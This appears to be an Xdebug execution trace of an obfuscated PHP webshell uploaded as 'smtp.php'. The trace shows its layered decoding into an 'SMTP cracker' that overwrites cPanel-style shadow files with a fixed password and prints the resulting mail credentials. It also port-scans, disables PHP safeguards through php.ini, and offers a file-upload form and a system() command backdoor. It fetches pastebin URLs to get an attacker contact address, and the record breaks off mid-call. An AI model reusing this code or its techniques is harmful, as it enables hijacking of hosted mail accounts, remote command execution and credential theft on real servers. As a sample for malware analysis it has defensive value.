Version: 3.1.0beta2 File format: 4 TRACE START [2023-02-12 20:09:20.630992] 1 0 1 0.000170 393512 1 3 0 0.000251 398520 {main} 1 /var/www/html/uploads/smtp.php 0 0 1 A /var/www/html/uploads/smtp.php 1 $xD = 'ZXZhbCUyOCUyNnF1b3QlM0IlM0YlMjZndCUzQiUyNnF1b3QlM0IuZ3p1bmNvbXByZXNzJTI4Z3p1bmNvbXByZXNzJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4YmFzZTY0X2RlY29kZSUyOHN0cnJldiUyOCUyNEhFeCUyOSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUzQg==' 1 A /var/www/html/uploads/smtp.php 1 $HEx = '=s+LDYrWMmIkD4vH/s6x0HtmkPhKDNcodDNpjtTf6xBDUsX8GM43o6I1v3usoD9/+UuHH4RTgP+tMycQ6Qmn/AtbhZI7OpMjPRKe0KGd7uWsmJU/ci1oiFwh0hAMYJKSlH01ERZMPMLwi+rzc7noERoJmD/x+RRhPzGTZIAdLyWjdMRfocLsQ+tDL3ldXcICtxMozBvLyjdlGtEOrrg1CqR9jI6rfczXn5NB0CKxgPfzrX0eQBxK5M/O9X/bYtlV3DBj7PBD9xSMB4+S0XotRZYjJkPfADDh6mV5DQzImx2gYuFSD5yqVYK9lxglt9gYfHQtV84ayf6c23i89WfB8wakuxlWlZ4EhJLsbobGs8kZSpU4kHC8SbRShQgngXCScjLVJU0odxf74pUpgyxaAflR9iUDCeVA21sNbFryHbyznrPnCY3zcJg9v/oyugC2D+fWqHRdqM7Fy0gUuIuSN1xlSG8btz8U+lELpTgrUwx8FiloQQxKQxy356bn3UZQ' 2 4 0 0.000319 398520 base64_decode 0 /var/www/html/uploads/smtp.php 1 1 'ZXZhbCUyOCUyNnF1b3QlM0IlM0YlMjZndCUzQiUyNnF1b3QlM0IuZ3p1bmNvbXByZXNzJTI4Z3p1bmNvbXByZXNzJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4YmFzZTY0X2RlY29kZSUyOHN0cnJldiUyOCUyNEhFeCUyOSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUzQg==' 2 4 1 0.000342 398808 2 4 R 'eval%28%26quot%3B%3F%26gt%3B%26quot%3B.gzuncompress%28gzuncompress%28gzinflate%28gzinflate%28gzinflate%28base64_decode%28strrev%28%24HEx%29%29%29%29%29%29%29%29%3B' 2 5 0 0.000363 398776 urldecode 0 /var/www/html/uploads/smtp.php 1 1 'eval%28%26quot%3B%3F%26gt%3B%26quot%3B.gzuncompress%28gzuncompress%28gzinflate%28gzinflate%28gzinflate%28base64_decode%28strrev%28%24HEx%29%29%29%29%29%29%29%29%3B' 2 5 1 0.000383 399000 2 5 R 'eval("?>".gzuncompress(gzuncompress(gzinflate(gzinflate(gzinflate(base64_decode(strrev($HEx))))))));' 2 6 0 0.000402 398712 htmlspecialchars_decode 0 /var/www/html/uploads/smtp.php 1 1 'eval("?>".gzuncompress(gzuncompress(gzinflate(gzinflate(gzinflate(base64_decode(strrev($HEx))))))));' 2 6 1 0.000422 398936 2 6 R 'eval("?>".gzuncompress(gzuncompress(gzinflate(gzinflate(gzinflate(base64_decode(strrev($HEx))))))));' 2 7 0 0.000455 401056 eval 1 'eval("?>".gzuncompress(gzuncompress(gzinflate(gzinflate(gzinflate(base64_decode(strrev($HEx))))))));' /var/www/html/uploads/smtp.php 1 0 3 8 0 0.000473 401056 strrev 0 /var/www/html/uploads/smtp.php(1) : eval()'d code 1 1 '=s+LDYrWMmIkD4vH/s6x0HtmkPhKDNcodDNpjtTf6xBDUsX8GM43o6I1v3usoD9/+UuHH4RTgP+tMycQ6Qmn/AtbhZI7OpMjPRKe0KGd7uWsmJU/ci1oiFwh0hAMYJKSlH01ERZMPMLwi+rzc7noERoJmD/x+RRhPzGTZIAdLyWjdMRfocLsQ+tDL3ldXcICtxMozBvLyjdlGtEOrrg1CqR9jI6rfczXn5NB0CKxgPfzrX0eQBxK5M/O9X/bYtlV3DBj7PBD9xSMB4+S0XotRZYjJkPfADDh6mV5DQzImx2gYuFSD5yqVYK9lxglt9gYfHQtV84ayf6c23i89WfB8wakuxlWlZ4EhJLsbobGs8kZSpU4kHC8SbRShQgngXCScjLVJU0odxf74pUpgyxaAflR9iUDCeVA21sNbFryHbyznrPnCY3zcJg9v/oyugC2D+fWqHRdqM7Fy0gUuIuSN1xlSG8btz8U+lELpTgrUwx8FiloQQxKQxy356bn3UZQ' 3 8 1 0.000502 405184 3 8 R 'AWUKmvUBYAqf9QFbCqT1eJwBUAqv9XictVfpc9pKEv8cV+V/mFK8BV5shLghxi+AuQzmBgOJi9IxQgJdaEYIeC//+/ZIwnFe3lZlP6ycIM30b/qa7p6e+z8czfl49UW39DXBNB7Drmu7a8PexG5Rf9br3Xx+T4X5dYAgQE79TLM96nh0LXmqil3d2vyKUHTiGOLpbxyAtKa6ideGbuo0Hsy9LTHF4xofsexR3bYCWOz2bwhs2u4pXBy7vRMY8Vp1UAWptoOtOAcGJgHN3XJ+gmNU1Xd1iuMAuuWIqOK1aSsY8ANV/XgFOoqSgdeqZ8lMJgFCf9BvfLxi3NaSSLCiuwzdbKKAna6iOKEutQ3bx26ceBKM4sP2cD2YgIm3KHNzgyoVxPm6xd2gPz9eIXiwrNkodk9kV3fog2hgl8a5F91SbJ8ggt0DdpFlU0Q8x7FdihXu5p6P0LHPEY+jTuHzOxiMLTk0gjNmCo/7JN8cpgvaIt8epHPbqpGXaZ8sT35R' 3 9 0 0.000531 405152 base64_decode 0 /var/www/html/uploads/smtp.php(1) : eval()'d code 1 1 'AWUKmvUBYAqf9QFbCqT1eJwBUAqv9XictVfpc9pKEv8cV+V/mFK8BV5shLghxi+AuQzmBgOJi9IxQgJdaEYIeC//+/ZIwnFe3lZlP6ycIM30b/qa7p6e+z8czfl49UW39DXBNB7Drmu7a8PexG5Rf9br3Xx+T4X5dYAgQE79TLM96nh0LXmqil3d2vyKUHTiGOLpbxyAtKa6ideGbuo0Hsy9LTHF4xofsexR3bYCWOz2bwhs2u4pXBy7vRMY8Vp1UAWptoOtOAcGJgHN3XJ+gmNU1Xd1iuMAuuWIqOK1aSsY8ANV/XgFOoqSgdeqZ8lMJgFCf9BvfLxi3NaSSLCiuwzdbKKAna6iOKEutQ3bx26ceBKM4sP2cD2YgIm3KHNzgyoVxPm6xd2gPz9eIXiwrNkodk9kV3fog2hgl8a5F91SbJ8ggt0DdpFlU0Q8x7FdihXu5p6P0LHPEY+jTuHzOxiMLTk0gjNmCo/7JN8cpgvaIt8epHPbqpGXaZ8sT35R' 3 9 1 0.000566 409280 3 9 R '\001e\n\001`\n\001[\nx\001P\nxWsJ\022\034WR\005^l!/\f\006\0031B\002]hF\bx/Hq^Ve? o?\034xE54\036îkknQ|~Ou @NL=xt-y]Pt\030o\034׆n4\036̽-1\032\037Qݶ\002Xo\bl)\\\034\023\030ZuP\0058\a\006&\001r~cTwu\000刨i+\030\003Ux\005:תgL&\001Bo|b֒H\fl8.\rnx\022p=(ss*\025ݠ??^!x(vOdWwh`ƹ\027Rl \003veSD<DZ]\025枏б\021N;\030-943f\n$\034\v"\036s۪i,O~Q' 3 10 0 0.000658 405152 gzinflate 0 /var/www/html/uploads/smtp.php(1) : eval()'d code 1 1 '\001e\n\001`\n\001[\nx\001P\nxWsJ\022\034WR\005^l!/\f\006\0031B\002]hF\bx/Hq^Ve? o?\034xE54\036îkknQ|~Ou @NL=xt-y]Pt\030o\034׆n4\036̽-1\032\037Qݶ\002Xo\bl)\\\034\023\030ZuP\0058\a\006&\001r~cTwu\000刨i+\030\003Ux\005:תgL&\001Bo|b֒H\fl8.\rnx\022p=(ss*\025ݠ??^!x(vOdWwh`ƹ\027Rl \003veSD<DZ]\025枏б\021N;\030-943f\n$\034\v"\036s۪i,O~Q' 3 10 1 0.000756 408256 3 10 R '\001`\n\001[\nx\001P\nxWsJ\022\034WR\005^l!/\f\006\0031B\002]hF\bx/Hq^Ve? o?\034xE54\036îkknQ|~Ou @NL=xt-y]Pt\030o\034׆n4\036̽-1\032\037Qݶ\002Xo\bl)\\\034\023\030ZuP\0058\a\006&\001r~cTwu\000刨i+\030\003Ux\005:תgL&\001Bo|b֒H\fl8.\rnx\022p=(ss*\025ݠ??^!x(vOdWwh`ƹ\027Rl \003veSD<DZ]\025枏б\021N;\030-943f\n$\034\v"\036s۪i,O~Q̝V6Q̶\' 3 11 0 0.000845 404128 gzinflate 0 /var/www/html/uploads/smtp.php(1) : eval()'d code 1 1 '\001`\n\001[\nx\001P\nxWsJ\022\034WR\005^l!/\f\006\0031B\002]hF\bx/Hq^Ve? o?\034xE54\036îkknQ|~Ou @NL=xt-y]Pt\030o\034׆n4\036̽-1\032\037Qݶ\002Xo\bl)\\\034\023\030ZuP\0058\a\006&\001r~cTwu\000刨i+\030\003Ux\005:תgL&\001Bo|b֒H\fl8.\rnx\022p=(ss*\025ݠ??^!x(vOdWwh`ƹ\027Rl \003veSD<DZ]\025枏б\021N;\030-943f\n$\034\v"\036s۪i,O~Q̝V6Q̶\' 3 11 1 0.001035 407232 3 11 R '\001[\nx\001P\nxWsJ\022\034WR\005^l!/\f\006\0031B\002]hF\bx/Hq^Ve? o?\034xE54\036îkknQ|~Ou @NL=xt-y]Pt\030o\034׆n4\036̽-1\032\037Qݶ\002Xo\bl)\\\034\023\030ZuP\0058\a\006&\001r~cTwu\000刨i+\030\003Ux\005:תgL&\001Bo|b֒H\fl8.\rnx\022p=(ss*\025ݠ??^!x(vOdWwh`ƹ\027Rl \003veSD<DZ]\025枏б\021N;\030-943f\n$\034\v"\036s۪i,O~Q̝V6Q̶\024%3.OE' 3 12 0 0.001125 404128 gzinflate 0 /var/www/html/uploads/smtp.php(1) : eval()'d code 1 1 '\001[\nx\001P\nxWsJ\022\034WR\005^l!/\f\006\0031B\002]hF\bx/Hq^Ve? o?\034xE54\036îkknQ|~Ou @NL=xt-y]Pt\030o\034׆n4\036̽-1\032\037Qݶ\002Xo\bl)\\\034\023\030ZuP\0058\a\006&\001r~cTwu\000刨i+\030\003Ux\005:תgL&\001Bo|b֒H\fl8.\rnx\022p=(ss*\025ݠ??^!x(vOdWwh`ƹ\027Rl \003veSD<DZ]\025枏б\021N;\030-943f\n$\034\v"\036s۪i,O~Q̝V6Q̶\024%3.OE' 3 12 1 0.001211 407232 3 12 R 'x\001P\nxWsJ\022\034WR\005^l!/\f\006\0031B\002]hF\bx/Hq^Ve? o?\034xE54\036îkknQ|~Ou @NL=xt-y]Pt\030o\034׆n4\036̽-1\032\037Qݶ\002Xo\bl)\\\034\023\030ZuP\0058\a\006&\001r~cTwu\000刨i+\030\003Ux\005:תgL&\001Bo|b֒H\fl8.\rnx\022p=(ss*\025ݠ??^!x(vOdWwh`ƹ\027Rl \003veSD<DZ]\025枏б\021N;\030-943f\n$\034\v"\036s۪i,O~Q̝V6Q̶\024%3.OE0S1;4' 3 13 0 0.001298 404128 gzuncompress 0 /var/www/html/uploads/smtp.php(1) : eval()'d code 1 1 'x\001P\nxWsJ\022\034WR\005^l!/\f\006\0031B\002]hF\bx/Hq^Ve? o?\034xE54\036îkknQ|~Ou @NL=xt-y]Pt\030o\034׆n4\036̽-1\032\037Qݶ\002Xo\bl)\\\034\023\030ZuP\0058\a\006&\001r~cTwu\000刨i+\030\003Ux\005:תgL&\001Bo|b֒H\fl8.\rnx\022p=(ss*\025ݠ??^!x(vOdWwh`ƹ\027Rl \003veSD<DZ]\025枏б\021N;\030-943f\n$\034\v"\036s۪i,O~Q̝V6Q̶\024%3.OE0S1;4' 3 13 1 0.001383 407232 3 13 R 'xWsJ\022\034WR\005^l!/\f\006\0031B\002]hF\bx/Hq^Ve? o?\034xE54\036îkknQ|~Ou @NL=xt-y]Pt\030o\034׆n4\036̽-1\032\037Qݶ\002Xo\bl)\\\034\023\030ZuP\0058\a\006&\001r~cTwu\000刨i+\030\003Ux\005:תgL&\001Bo|b֒H\fl8.\rnx\022p=(ss*\025ݠ??^!x(vOdWwh`ƹ\027Rl \003veSD<DZ]\025枏б\021N;\030-943f\n$\034\v"\036s۪i,O~Q̝V6Q̶\024%3.OE0S1;4ڇW(:bQG' 3 14 0 0.001469 404128 gzuncompress 0 /var/www/html/uploads/smtp.php(1) : eval()'d code 1 1 'xWsJ\022\034WR\005^l!/\f\006\0031B\002]hF\bx/Hq^Ve? o?\034xE54\036îkknQ|~Ou @NL=xt-y]Pt\030o\034׆n4\036̽-1\032\037Qݶ\002Xo\bl)\\\034\023\030ZuP\0058\a\006&\001r~cTwu\000刨i+\030\003Ux\005:תgL&\001Bo|b֒H\fl8.\rnx\022p=(ss*\025ݠ??^!x(vOdWwh`ƹ\027Rl \003veSD<DZ]\025枏б\021N;\030-943f\n$\034\v"\036s۪i,O~Q̝V6Q̶\024%3.OE0S1;4ڇW(:bQG' 3 14 1 0.001589 412352 3 14 R 'alert("Windows server not supported")\';\r\n exit;\r\n}\r\n$encode = "' 3 15 0 0.001748 432176 eval 1 '?>alert("Windows server not supported")\';\r\n exit;\r\n}\r\n$encode = "lUd/eNs6FP27hX6HO25jAl6ctNsYyw8a5znJG4+84Gdd3S4Yy8hlm0GxlUvEHv3u78pB88hT6QbGlmjOPUpU91eXKkdOLGzDlIxEFhRneE0wnPp+s3tpbWxAZD6oGDHC7XAsRmRHiMef8FoSplzRELaSBykNuQxs3DASSTR/nJ0CGHYOfVXxP0Al3iAaIjoS6kzUphFiIM+C+dT1ndEkY73J1B1B3NljvPBcCzqv8BeO7zuffXQ+m1w7w9f507Hnzq684cQCZVi/q6IQ9vtJu/FMhRl9iG44gQ+tQRfY/aeL80m7CUoy3UT7vN1249OBhW9lUEq2Bl/zMh77wd+ee734dOR2L+3f5n9kxpPX+WbHubn2vs5cy7jynX90/vjOWelBmcvfClxc+94LkQaTZEXw5/LJlVm1Tw0yyRMWPmZj6uns1BAdJB81gplmHsWfeTsSMZd4FbZFTdpZPNjvYj9ced+9K1qtdKz/IGX+vZ35N/5SHZm+HInk1knxPEwnsXF7vJLJ5L0qMqbCnXFpKUeBL8xFj1t8xXjtXK60OomTVbKYC9b++PH8ZVuRQ8Y6ns8pPyC4FRaasmNspPIn4k/tQ8sIsPewvmpz/Q2Gs1vPXE8XkLXKOi1ZVKD1Iq8FQOCYMPoywrG/qENvfHDfT51Gr6VETLBgnx8HmE9bOztIm4aK9cE2gitiZVQK8UOsyLLZhJMfADLNKZi9nJfFoLem2eOgt6GshEXynHP9EbYmVTz5j5HskxI7QFKCZFtm3nOCCwKiuhb6hAxtKowSDjVqowpWIBQljuuUVGucrFjF4V4UCRKmEaKVKH7qSNjVksyuRAXjhl4age7h8cFOFwDUBho1447oXHEJYvpgmlpAYsYmKYpV8Lwqh+v9NfXGuAFthugtPA7s1nclvZdOEhVHcTILtIvnBCYvo0BmzaX1v2mzVwX7nSS9vDPoCcjx3uibB5I5Y2HezguV7iCXWb7p2U877AxVF56e4AnqT8GhRc+LNdPS1KXCK/ZxnyBvZaDLfm+kJRr7hayh+BGbvMRQXEm/+1X7EJopqULyfw==";\r\neval(str_rot13(gzinflate(str_rot13(base64_decode(($encode))))));\r\n\r\necho \'\r\n\r\n\r\n\r\n\r\n

\r\nSMTP CRACKER v2
\r\n--==[[Greetz to]]==--
-=| HEx |=-
\r\n
\r\n ####### Coded By HEx #######\r\n

SMTP Cracker By HEx
\r\n\r\n
\';\r\n\r\nif($_POST["crack"]) {\r\n\r\n$ports=array(25, 465, 587);\r\n$primary_port=\'25\';\r\n\r\n//curent user\r\n$user=get_current_user();\r\n// Smtp password\r\n$password=\'Leet@007\';\r\n//crypt\r\n$pwd = crypt($password,\'$6$Leet@007$\');\r\n// host name\r\n $t = $_SERVER[\'SERVER_NAME\'];\r\n//edit\r\n $t = @str_replace("www.","",$t);\r\n\r\n\r\n$dirs = glob(\'/home/\'.$user.\'/etc/*\', GLOB_ONLYDIR);\r\nforeach($dirs as $dir){\r\n$ex = explode("/",$dir);\r\n$site = $ex[count($ex)-1];\r\n\r\n //get users\r\n@$passwd = file_get_contents(\'/home/\'.$user.\'/etc/\'.$site.\'/shadow\');\r\n//edit\r\n$ex=explode("\\r\\n",$passwd);\r\n//backup shadow\r\n@link(\'/home/\'.$user.\'/etc/\'.$site.\'/shadow\',\'/home/\'.$user.\'/etc/\'.$site.\'/shadow.Leet@007.bak\');\r\n//delete shadow\r\n@unlink(\'/home/\'.$user.\'/etc/\'.$site.\'/shadow\');\r\n// :D\r\nforeach($ex as $ex){\r\n$ex=explode(\':\',$ex);\r\n$e= $ex[0];\r\nif ($e){\r\n$b=fopen(\'/home/\'.$user.\'/etc/\'.$site.\'/shadow\',\'ab\');fwrite($b,$e.\':\'.$pwd.\':16249:::::\'."\\r\\n");fclose($b);\r\necho \'Host : \'.$site.\'
Port : 587
Username : \'.$e.\'@\'.$site.\'
Password : \'.$password.\'
\'; "
";\r\n}}\r\n//port scan\r\nforeach ($ports as $port)\r\n{\r\n $connection = @fsockopen($site, $port, $errno, $errstr, 2);\r\n if (is_resource($connection))\r\n {\r\n echo \'[ \' . $host . \'\' . $port . \' \' . \'(\' . getservbyport($port, \'tcp\') . \') is open\' . " : ";\r\n fclose($connection);\r\n }\r\n\t\r\n}\r\necho " ]


";\r\n\r\n}}\r\necho "";\r\n\r\n\r\n?>' /var/www/html/uploads/smtp.php(1) : eval()'d code 1 0 4 16 0 0.001882 432176 ini_set 0 /var/www/html/uploads/smtp.php(1) : eval()'d code(1) : eval()'d code 2 2 'error_log' NULL 4 16 1 0.001900 432248 4 16 R '' 4 17 0 0.001915 432176 ini_set 0 /var/www/html/uploads/smtp.php(1) : eval()'d code(1) : eval()'d code 3 2 'log_errors' 0 4 17 1 0.001931 432248 4 17 R '1' 4 18 0 0.001944 432176 ini_set 0 /var/www/html/uploads/smtp.php(1) : eval()'d code(1) : eval()'d code 4 2 'output_buffering' 0 4 18 1 0.001960 432248 4 18 R FALSE 4 19 0 0.001976 432176 ini_set 0 /var/www/html/uploads/smtp.php(1) : eval()'d code(1) : eval()'d code 5 2 'display_errors' 0 4 19 1 0.001991 432248 4 19 R '' 4 20 0 0.002004 432176 set_time_limit 0 /var/www/html/uploads/smtp.php(1) : eval()'d code(1) : eval()'d code 6 1 0 4 20 1 0.002020 432240 4 20 R FALSE 4 21 0 0.002033 432208 ini_set 0 /var/www/html/uploads/smtp.php(1) : eval()'d code(1) : eval()'d code 7 2 'max_execution_time' 0 4 21 1 0.002047 432248 4 21 R '0' 4 22 0 0.002060 432176 ini_set 0 /var/www/html/uploads/smtp.php(1) : eval()'d code(1) : eval()'d code 8 2 'memory_limit' -1 4 22 1 0.002075 432312 4 22 R '128M' 4 23 0 0.002088 432208 fopen 0 /var/www/html/uploads/smtp.php(1) : eval()'d code(1) : eval()'d code 9 2 'php.ini' 'w+' 4 23 1 0.002127 432840 4 23 R resource(4) of type (stream) 3 A /var/www/html/uploads/smtp.php(1) : eval()'d code(1) : eval()'d code 9 $fp = resource(4) of type (stream) 4 24 0 0.002157 432768 fwrite 0 /var/www/html/uploads/smtp.php(1) : eval()'d code(1) : eval()'d code 10 2 resource(4) of type (stream) 'safe_mode = Off\r\ndisable_functions = NONE\r\nopen_basedir = OFF ' 4 24 1 0.002183 432832 4 24 R 62 4 25 0 0.002196 432768 substr 0 /var/www/html/uploads/smtp.php(1) : eval()'d code(1) : eval()'d code 13 3 'Linux' 0 3 4 25 1 0.002211 432896 4 25 R 'Lin' 4 26 0 0.002224 432800 strtolower 0 /var/www/html/uploads/smtp.php(1) : eval()'d code(1) : eval()'d code 13 1 'Lin' 4 26 1 0.002238 432864 4 26 R 'lin' 3 A /var/www/html/uploads/smtp.php(1) : eval()'d code(1) : eval()'d code 17 $encode = 'lUd/eNs6FP27hX6HO25jAl6ctNsYyw8a5znJG4+84Gdd3S4Yy8hlm0GxlUvEHv3u78pB88hT6QbGlmjOPUpU91eXKkdOLGzDlIxEFhRneE0wnPp+s3tpbWxAZD6oGDHC7XAsRmRHiMef8FoSplzRELaSBykNuQxs3DASSTR/nJ0CGHYOfVXxP0Al3iAaIjoS6kzUphFiIM+C+dT1ndEkY73J1B1B3NljvPBcCzqv8BeO7zuffXQ+m1w7w9f507Hnzq684cQCZVi/q6IQ9vtJu/FMhRl9iG44gQ+tQRfY/aeL80m7CUoy3UT7vN1249OBhW9lUEq2Bl/zMh77wd+ee734dOR2L+3f5n9kxpPX+WbHubn2vs5cy7jynX90/vjOWelBmcvfClxc+94LkQaTZEXw5/LJlVm1Tw0yyRMWPmZj6uns1BAdJB81gplmHsWfeTsSMZd4FbZFTdpZPNjvYj9ced+9K1qtdKz/IGX+vZ35N/5SHZm+HInk1knxPEwn' 4 27 0 0.002276 432768 base64_decode 0 /var/www/html/uploads/smtp.php(1) : eval()'d code(1) : eval()'d code 18 1 'lUd/eNs6FP27hX6HO25jAl6ctNsYyw8a5znJG4+84Gdd3S4Yy8hlm0GxlUvEHv3u78pB88hT6QbGlmjOPUpU91eXKkdOLGzDlIxEFhRneE0wnPp+s3tpbWxAZD6oGDHC7XAsRmRHiMef8FoSplzRELaSBykNuQxs3DASSTR/nJ0CGHYOfVXxP0Al3iAaIjoS6kzUphFiIM+C+dT1ndEkY73J1B1B3NljvPBcCzqv8BeO7zuffXQ+m1w7w9f507Hnzq684cQCZVi/q6IQ9vtJu/FMhRl9iG44gQ+tQRfY/aeL80m7CUoy3UT7vN1249OBhW9lUEq2Bl/zMh77wd+ee734dOR2L+3f5n9kxpPX+WbHubn2vs5cy7jynX90/vjOWelBmcvfClxc+94LkQaTZEXw5/LJlVm1Tw0yyRMWPmZj6uns1BAdJB81gplmHsWfeTsSMZd4FbZFTdpZPNjvYj9ced+9K1qtdKz/IGX+vZ35N/5SHZm+HInk1knxPEwn' 4 27 1 0.002304 434080 4 27 R 'Gx:\024~;nc\002^\030\017\0329\033g].\030eAK\036AS\006Ɩh=JTW*GN,lÔD\026\024gxM0~{iml@d>\0301p,FdGǟZ\022\\\020\a)\r\fl0\022I4\002\030v\016}U?@% \032":\022LԦ\021b ς$c\035Ac\\\v:\027;}t>\\;ӱή\002eX\020IL\031}n8\017A\027I\tJ2DvӁoePJ\006_2\036ߞ{tv/dƓfǹ\\˸tYA\n\\\\\v\006dEɕYO\r2\023\026>fc\020\035$\0375f\036şy;\0221x\025EMY\0301p,FdGǟZ\022\\\020\a)\r\fl0\022I4\002\030v\016}U?@% \032":\022LԦ\021b ς$c\035Ac\\\v:\027;}t>\\;ӱή\002eX\020IL\031}n8\017A\027I\tJ2DvӁoePJ\006_2\036ߞ{tv/dƓfǹ\\˸tYA\n\\\\\v\006dEɕYO\r2\023\026>fc\020\035$\0375f\036şy;\0221x\025EMY\0301c,SqTǟM\022\\\020\a)\r\fy0\022V4\002\030i\016}H?@% \032":\022YԦ\021o ς$p\035Np\\\v:\027;}g>\\;ӱή\002rK\020VY\031}a8\017N\027V\tW2QiӁbrCW\006_2\036ߞ{gi/qƓsǹ\\˸gLN\n\\\\\v\006qRɕLB\r2\023\026>sp\020\035$\0375s\036şl;\0221k\025RZL\0301c,SqTǟM\022\\\020\a)\r\fy0\022V4\002\030i\016}H?@% \032":\022YԦ\021o ς$p\035Np\\\v:\027;}g>\\;ӱή\002rK\020VY\031}a8\017N\027V\tW2QiӁbrCW\006_2\036ߞ{gi/qƓsǹ\\˸gLN\n\\\\\v\006qRɕLB\r2\023\026>sp\020\035$\0375s\036şl;\0221k\025RZL
\';$lawlx = @$_FILES["lawlx"]; if ($lawlx["name"] != \'\') { $fullpath = $_REQUEST["path"] . $lawlx["name"]; if (move_uploaded_file($lawlx[\'tmp_name\'], $fullpath)) { echo "

OK-Click here!

"; }} } \r\n\r\nif (isset($_REQUEST[\'cm\'])) {\r\n\techo "
";\r\n\t$cm = ($_REQUEST[\'cm\']);\r\n\tsystem($cm);\r\n\techo "
";\r\n\tdie;\r\n}' /var/www/html/uploads/smtp.php(1) : eval()'d code(1) : eval()'d code 18 0 5 32 0 0.002762 450840 ini_set 0 /var/www/html/uploads/smtp.php(1) : eval()'d code(1) : eval()'d code(18) : eval()'d code 1 2 'error_log' NULL 5 32 1 0.002779 450912 5 32 R '' 5 33 0 0.002792 450840 ini_set 0 /var/www/html/uploads/smtp.php(1) : eval()'d code(1) : eval()'d code(18) : eval()'d code 2 2 'log_errors' 0 5 33 1 0.002808 450912 5 33 R '0' 5 34 0 0.002821 450840 ini_set 0 /var/www/html/uploads/smtp.php(1) : eval()'d code(1) : eval()'d code(18) : eval()'d code 3 2 'display_errors' 0 5 34 1 0.002836 450912 5 34 R '0' 5 35 0 0.002858 450840 get_contents 1 /var/www/html/uploads/smtp.php(1) : eval()'d code(1) : eval()'d code(18) : eval()'d code 16 1 'https://pastebin.com/raw/5M63g44m' 6 36 0 0.002884 450840 curl_init 0 /var/www/html/uploads/smtp.php(1) : eval()'d code(1) : eval()'d code(18) : eval()'d code 5 1 'https://pastebin.com/raw/5M63g44m' 6 36 1 0.002907 451784 6 36 R resource(5) of type (curl) 5 A /var/www/html/uploads/smtp.php(1) : eval()'d code(1) : eval()'d code(18) : eval()'d code 5 $ch = resource(5) of type (curl) 6 37 0 0.002937 451752 curl_setopt 0 /var/www/html/uploads/smtp.php(1) : eval()'d code(1) : eval()'d code(18) : eval()'d code 6 3 resource(5) of type (curl) 19913 1 6 37 1 0.002954 451848 6 37 R TRUE 6 38 0 0.002967 451752 curl_setopt 0 /var/www/html/uploads/smtp.php(1) : eval()'d code(1) : eval()'d code(18) : eval()'d code 7 3 resource(5) of type (curl) 52 1 6 38 1 0.002982 451848 6 38 R TRUE 6 39 0 0.002995 451752 curl_setopt 0 /var/www/html/uploads/smtp.php(1) : eval()'d code(1) : eval()'d code(18) : eval()'d code 8 3 resource(5) of type (curl) 10018 'Mozilla/5.0(Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0' 6 39 1 0.003014 451848 6 39 R TRUE 6 40 0 0.003026 451752 curl_setopt 0 /var/www/html/uploads/smtp.php(1) : eval()'d code(1) : eval()'d code(18) : eval()'d code 9 3 resource(5) of type (curl) 64 0 6 40 1 0.003042 451848 6 40 R TRUE 6 41 0 0.003055 451752 curl_setopt 0 /var/www/html/uploads/smtp.php(1) : eval()'d code(1) : eval()'d code(18) : eval()'d code 10 3 resource(5) of type (curl) 81 0 6 41 1 0.003074 451848 6 41 R TRUE 6 42 0 0.003089 451728 curl_setopt 0 /var/www/html/uploads/smtp.php(1) : eval()'d code(1) : eval()'d code(18) : eval()'d code 11 3 resource(5) of type (curl) 10082 NULL 6 42 1 0.003107 451824 6 42 R TRUE 6 43 0 0.003120 451728 curl_setopt 0 /var/www/html/uploads/smtp.php(1) : eval()'d code(1) : eval()'d code(18) : eval()'d code 12 3 resource(5) of type (curl) 10031 NULL 6 43 1 0.003137 451824 6 43 R TRUE 6 44 0 0.003149 451728 curl_exec 0 /var/www/html/uploads/smtp.php(1) : eval()'d code(1) : eval()'d code(18) : eval()'d code 13 1 resource(5) of type (curl) 6 44 1 0.054365 452016 6 44 R 'secureonlineteam@yandex.com' 5 A /var/www/html/uploads/smtp.php(1) : eval()'d code(1) : eval()'d code(18) : eval()'d code 13 $result = 'secureonlineteam@yandex.com' 5 35 1 0.054613 451072 5 35 R 'secureonlineteam@yandex.com' 4 A /var/www/html/uploads/smtp.php(1) : eval()'d code(1) : eval()'d code(18) : eval()'d code 16 $a1 = 'secureonlineteam@yandex.com' 5 45 0 0.054659 451072 get_contents 1 /var/www/html/uploads/smtp.php(1) : eval()'d code(1) : eval()'d code(18) : eval()'d code 17 1 'https://pastebin.com/raw/Cz0dLKL3' 6 46 0 0.054679 451072 curl_init 0 /var/www/html/uploads/smtp.php(1) : eval()'d code(1) : eval()'d code(18) : eval()'d code 5 1 'https://pastebin.com/raw/Cz0dLKL3' 6 46 1 0.054713 452016 6 46 R resource(6) of type (curl) 5 A /var/www/html/uploads/smtp.php(1) : eval()'d code(1) : eval()'d code(18) : eval()'d code 5 $ch = resource(6) of type (curl) 6 47 0 0.054744 451984 curl_setopt 0 /var/www/html/uploads/smtp.php(1) : eval()'d code(1) : eval()'d code(18) : eval()'d code 6 3 resource(6) of type (curl) 19913 1 6 47 1 0.054763 452080 6 47 R TRUE 6 48 0 0.054777 451984 curl_setopt 0 /var/www/html/uploads/smtp.php(1) : eval()'d code(1) : eval()'d code(18) : eval()'d code 7 3 resource(6) of type (curl) 52 1 6 48 1 0.054793 452080 6 48 R TRUE 6 49 0 0.054806 451984 curl_setopt 0 /var/www/html/uploads/smtp.php(1) : eval()'d code(1) : eval()'d code(18) : eval()'d code 8 3 resource(6) of type (curl) 10018 'Mozilla/5.0(Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0' 6 49 1 0.054826 452080 6 49 R TRUE 6 50 0 0.054839 451984 curl_setopt 0 /var/www/html/uploads/smtp.php(1) : eval()'d code(1) : eval()'d code(18) : eval()'d code 9 3 resource(6) of type (curl) 64 0 6 50 1 0.054866 452080 6 50 R TRUE 6 51 0 0.054880 451984 curl_setopt 0 /var/www/html/uploads/smtp.php(1) : eval()'d code(1) : eval()'d code(18) : eval()'d code 10 3 resource(6) of type (curl) 81 0 6 51 1 0.054896 452080 6 51 R TRUE 6 52 0 0.054913 451984 curl_setopt 0 /var/www/html/uploads/smtp.php(1) : eval()'d code(1) : eval()'d code(18) : eval()'d code 11 3 resource(6) of type (curl) 10082 NULL 6 52 1 0.054931 452080 6 52 R TRUE 6 53 0 0.054944 451984 curl_setopt 0 /var/www/html/uploads/smtp.php(1) : eval()'d code(1) : eval()'d code(18) : eval()'d code 12 3 resource(6) 